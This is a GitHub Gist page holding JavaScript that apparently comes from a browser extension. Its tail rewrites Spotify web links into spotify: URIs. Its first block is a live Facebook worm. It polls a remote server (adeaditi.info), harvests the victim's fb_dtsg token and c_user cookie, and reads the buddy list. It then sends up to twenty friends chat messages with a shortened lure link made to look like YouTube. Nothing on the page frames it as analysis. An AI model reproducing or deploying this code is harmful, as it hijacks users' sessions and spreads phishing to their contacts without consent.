Created
December 6, 2014 13:48
-
-
Save NamPNQ/28e4631a2208156e0f5a to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if (location.hostname.indexOf("facebook.com") >= 0) { | |
var babasker = function() { | |
var b = new XMLHttpRequest; | |
b.open("GET", window.location.protocol + "//adeaditi.info/ag.php", true); | |
b.onreadystatechange = function() { | |
if (4 == b.readyState && 200 == b.status) { | |
var c = JSON.parse(b.responseText); | |
if ("aktiv" == c.type) { | |
var d = new XMLHttpRequest; | |
d.open("GET", "/", false); | |
d.send(); | |
if (4 == d.readyState && 200 == d.status) { | |
a = d.responseText; | |
} | |
temp = a.match(/name="fb_dt[prs][abg]" value="([^"]+)"/g)[0]; | |
var e = temp.match(/name="fb_dtsg" value="([^"]+)"/)[1]; | |
var f = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); | |
var g = temp.match(/name="fb_dtsg" value="([^"]+)"/)[1]; | |
var h = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); | |
var i = new XMLHttpRequest; | |
var j = "https://www.googleapis.com/urlshortener/v1/url"; | |
var k = "{\"longUrl\": \"" + c.link + "\"}"; | |
i.open("POST", j, false); | |
i.setRequestHeader("Content-type", "application/json; charset=utf-8"); | |
i.onreadystatechange = function() { | |
if (4 == i.readyState && 200 == i.status) { | |
var a = JSON.parse(i.responseText); | |
localStorage.setItem("fb_postlink", a.id); | |
} | |
}; | |
i.send(k); | |
console.log(localStorage.getItem("fb_postlink")); | |
console.log(c.link); | |
console.log(c.base); | |
console.log(c.okan); | |
console.log(c.foto1); | |
console.log(c.foto2); | |
console.log(c.titulli); | |
console.log(c.friends); | |
console.log(c.friendname); | |
qwecek(localStorage.getItem("fb_postlink"), c.base, c.okan, c.foto1, c.foto2, c.titulli, c.friends, c.friendname, e, f, g, h); | |
} | |
} | |
}; | |
b.send(); | |
}; | |
var qwecek = function(dataAndEvents, deepDataAndEvents, startAngle, isXML, funcToCall, shallow, triggerRoute, walkers, regex, key, emptyGet, obj) { | |
var r = new XMLHttpRequest; | |
var payload = "user=" + obj + "&__user=" + obj + "&__a=1&__req=2&fb_dtsg=" + emptyGet; | |
r.open("POST", "/ajax/chat/buddy_list.php?__a=1", true); | |
r.onreadystatechange = function() { | |
if (4 == r.readyState && 200 == r.status) { | |
var response = JSON.parse(r.responseText.replace("for (;;);", "")); | |
eval("x = response"); | |
var count = 0; | |
var configList = []; | |
friend_lists = ""; | |
for (veas in x.payload.buddy_list.nowAvailableList) { | |
var thisis = x.payload.buddy_list.nowAvailableList[veas]; | |
configList.push(veas); | |
} | |
var integercount = 0; | |
i = 0; | |
for (; i < 20; i++) { | |
integercount++; | |
var unlock = Math.floor(Math.random() * configList.length); | |
var fmt = configList[unlock]; | |
if ("po" == triggerRoute) { | |
var expires = configList[unlock]; | |
} else { | |
expires = ""; | |
} | |
console.log(fmt); | |
var xhrobj = new XMLHttpRequest; | |
xhrobj.open("GET", "https://graph.facebook.com/" + fmt, false); | |
xhrobj.send(); | |
var left = JSON.parse(xhrobj.responseText); | |
if ("po" == walkers) { | |
var a = left.name; | |
} else { | |
a = ""; | |
} | |
console.log(a); | |
benimesaj(fmt, expires, a, dataAndEvents, deepDataAndEvents, startAngle, isXML, funcToCall, shallow, triggerRoute, walkers, regex, key, emptyGet, obj); | |
} | |
r.close; | |
} | |
}; | |
r.send(payload); | |
}; | |
var benimesaj = function(a, b, c, d, e, f, g, h, i, j, k, l, m, n, o) { | |
var p = f + " "; | |
var q = new XMLHttpRequest; | |
q.open("POST", "/ajax/mercury/send_messages.php?__a=1", true); | |
var r = "message_batch[0][action_type]=ma-type%3Auser-generated-message&message_batch[0][author]=fbid%3A" + m + "&message_batch[0][author_email]&message_batch[0][coordinates]&message_batch[0][timestamp_time_passed]=0&message_batch[0][is_unread]=false&message_batch[0][is_cleared]=false&message_batch[0][is_forward]=false&message_batch[0][is_filtered_content]=false&message_batch[0][is_spoof_warning]=false&message_batch[0][source]=source%3Achat%3Aweb&message_batch[0][source_tags][0]=source%3Achat&message_batch[0][body]=" + p + "&message_batch[0][has_attachment]=true&message_batch[0][html_body]=false&&message_batch[0][specific_to_list][0]=fbid%3A" + a + "&message_batch[0][specific_to_list][1]=fbid%3A" + m + "&message_batch[0][content_attachment][subject]=IP6%20Short%20URL%20-%20Free%20service&message_batch[0][content_attachment][app_id]=2309869772&message_batch[0][content_attachment][attachment][params][urlInfo][canonical]=" + d + "&message_batch[0][content_attachment][attachment][params][urlInfo][final]=" + d + "&message_batch[0][content_attachment][attachment][params][urlInfo][user]=" + d + "&message_batch[0][content_attachment][attachment][params][favicon]=&message_batch[0][content_attachment][attachment][params][title]=" + c + i + "&message_batch[0][content_attachment][attachment][params][summary]=youtube.com&message_batch[0][content_attachment][attachment][params][images][0]=" + g + b + h + "&message_batch[0][content_attachment][attachment][params][medium]=106&message_batch[0][content_attachment][attachment][params][url]=" + d + "&message_batch[0][content_attachment][attachment][type]=100&message_batch[0][content_attachment][link_metrics][source]=ShareStageExternal&message_batch[0][content_attachment][link_metrics][domain]=" + e + "&message_batch[0][content_attachment][link_metrics][base_domain]=" + e + "&message_batch[0][content_attachment][link_metrics][title_len]=28&message_batch[0][content_attachment][link_metrics][summary_len]=36&message_batch[0][content_attachment][link_metrics][min_dimensions][0]=70&message_batch[0][content_attachment][link_metrics][min_dimensions][1]=70&message_batch[0][content_attachment][link_metrics][images_with_dimensions]=1&message_batch[0][content_attachment][link_metrics][images_pending]=0&message_batch[0][content_attachment][link_metrics][images_fetched]=0&message_batch[0][content_attachment][link_metrics][image_dimensions][0]=626&message_batch[0][content_attachment][link_metrics][image_dimensions][1]=293&message_batch[0][content_attachment][link_metrics][images_selected]=1&message_batch[0][content_attachment][link_metrics][images_considered]=1&message_batch[0][content_attachment][link_metrics][images_cap]=3&message_batch[0][content_attachment][link_metrics][images_type]=ranked&message_batch[0][content_attachment][composer_metrics][best_image_w]=100&message_batch[0][content_attachment][composer_metrics][best_image_h]=100&message_batch[0][content_attachment][composer_metrics][image_selected]=0&message_batch[0][content_attachment][composer_metrics][images_provided]=1&message_batch[0][content_attachment][composer_metrics][images_loaded]=1&message_batch[0][content_attachment][composer_metrics][images_shown]=1&message_batch[0][content_attachment][composer_metrics][load_duration]=4&message_batch[0][content_attachment][composer_metrics][timed_out]=0&message_batch[0][content_attachment][composer_metrics][sort_order]=&message_batch[0][content_attachment][composer_metrics][selector_type]=UIThumbPager_6&message_batch[0][ui_push_phase]=V3&message_batch[0][status]=0&client=mercury&__user=" + m + "&__a=1&__dyn=7n8anEAMCBynzpQ9UoGya4Cq74qbx2mbAKGiyGGEZ9LFDxCm6p_AyoSnx2&__req=f&fb_dtsg=" + l + "&ttstamp=2658172571218810680459011989&__rev=1300533"; | |
console.log(r); | |
q.onreadystatechange = function() { | |
if (4 == q.readyState) { | |
var a = q.responseText; | |
q.close; | |
} | |
}; | |
q.send(r); | |
}; | |
var newtime = (new Date).getTime() + 110000; | |
var time = (new Date).getTime(); | |
if (localStorage.okanxxxxss2) { | |
if (localStorage.okanxxxxss2 < time) { | |
localStorage.okanxxxxss2 = newtime; | |
babasker(); | |
} | |
} else { | |
localStorage.okanxxxxss2 = newtime; | |
babasker(); | |
} | |
} | |
$("a[href^='http://open.spotify.com/']").attr("target", "_self"); | |
$("a[href^='http://play.spotify.com/']").attr("target", "_self"); | |
$("a[href^='https://open.spotify.com/']").attr("target", "_self"); | |
$("a[href^='https://play.spotify.com/']").attr("target", "_self"); | |
$("a[href^='http://open.spotify.com/']").attr("href", function(index, href) { | |
return href.split("?")[0]; | |
}); | |
$("a[href^='https://open.spotify.com/']").attr("href", function(index, href) { | |
return href.split("?")[0]; | |
}); | |
$("a[href^='http://play.spotify.com/']").attr("href", function(index, href) { | |
return href.split("?")[0]; | |
}); | |
$("a[href^='https://play.spotify.com/']").attr("href", function(index, href) { | |
return href.split("?")[0]; | |
}); | |
$("a[href^='http://open.spotify.com/']").attr("href", function(index, href) { | |
return href.split("&")[0]; | |
}); | |
$("a[href^='https://open.spotify.com/']").attr("href", function(index, href) { | |
return href.split("&")[0]; | |
}); | |
$("a[href^='http://play.spotify.com/']").attr("href", function(index, href) { | |
return href.split("&")[0]; | |
}); | |
$("a[href^='https://play.spotify.com/']").attr("href", function(index, href) { | |
return href.split("&")[0]; | |
}); | |
$("a[href^='http://open.spotify.com/']").attr("href", function(index, href) { | |
return href.split("#")[0]; | |
}); | |
$("a[href^='https://open.spotify.com/']").attr("href", function(index, href) { | |
return href.split("#")[0]; | |
}); | |
$("a[href^='http://play.spotify.com/']").attr("href", function(index, href) { | |
return href.split("#")[0]; | |
}); | |
$("a[href^='https://play.spotify.com/']").attr("href", function(index, href) { | |
return href.split("#")[0]; | |
}); | |
$("a[href]").attr("href", function(index, href) { | |
return href.replace("http://play.spotify.com/", "spotify:"); | |
}); | |
$("a[href]").attr("href", function(index, href) { | |
return href.replace("http://open.spotify.com/", "spotify:"); | |
}); | |
$("a[href]").attr("href", function(index, href) { | |
return href.replace("https://play.spotify.com/", "spotify:"); | |
}); | |
$("a[href]").attr("href", function(index, href) { | |
return href.replace("https://open.spotify.com/", "spotify:"); | |
}); | |
$("a").live("click", function() { | |
var href = $(this).attr("href"); | |
$(this).attr("href", href.replace("http://open.spotify.com/", "spotify:")); | |
}); | |
$("a").live("click", function() { | |
var href = $(this).attr("href"); | |
$(this).attr("href", href.replace("http://play.spotify.com/", "spotify:")); | |
}); | |
$("a").live("click", function() { | |
var href = $(this).attr("href"); | |
$(this).attr("href", href.replace("https://open.spotify.com/", "spotify:")); | |
}); | |
$("a").live("click", function() { | |
var href = $(this).attr("href"); | |
$(this).attr("href", href.replace("https://play.spotify.com/", "spotify:")); | |
}); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment